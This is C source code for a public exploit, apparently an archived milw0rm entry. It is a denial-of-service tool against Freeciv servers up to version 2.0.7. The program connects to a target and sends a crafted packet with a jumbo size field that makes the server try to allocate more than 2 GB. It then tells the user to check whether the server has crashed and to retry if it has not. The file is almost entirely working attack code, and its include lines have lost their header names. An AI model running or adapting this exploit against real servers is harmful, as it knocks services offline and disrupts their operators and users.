/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define PORT 5555 #define JUMBO_SIZE 0xffff u_int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; u_int boomsz; int sd, i; u_short port = PORT; u_char buff[6]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif srand(time(NULL)); setbuf(stdout, NULL); fputs("\n" "Freeciv <= 2.0.7 jumbo malloc crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [port(%hu)]\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect..."); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); printf(" done\n"); boomsz = 6 + (rand() * 1234); for(;;) { if(!boomsz) boomsz++; if(boomsz > 0) boomsz = -boomsz; if((u_int)((boomsz - 6) * 100) > 0x7fffffff) break; boomsz *= 1234; // more than 2 gigabytes, I want to be sure } *(u_short *)buff = JUMBO_SIZE; *(u_int *)(buff + 2) = htonl(boomsz); // int compressed_size = whole_packet_len - header_size; // header_size = 6 // long int decompressed_size = 100 * compressed_size; printf("- send BOOM data (try to allocate %u bytes on the remote system)\n", (u_int)(ntohl(*(u_int *)(buff + 2)) - 6) * 100); if(send(sd, buff, 6, 0) < 0) std_err(); printf("- wait some seconds:\n"); for(i = 3; i >= 0; i--) { printf("%3d\r", i); sleep(ONESEC); } close(sd); printf( "- the server should be crashed or freezed, check it manually\n" " if it's still online retry again with this tool or the server is patched\n" "\n"); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2006-03-06]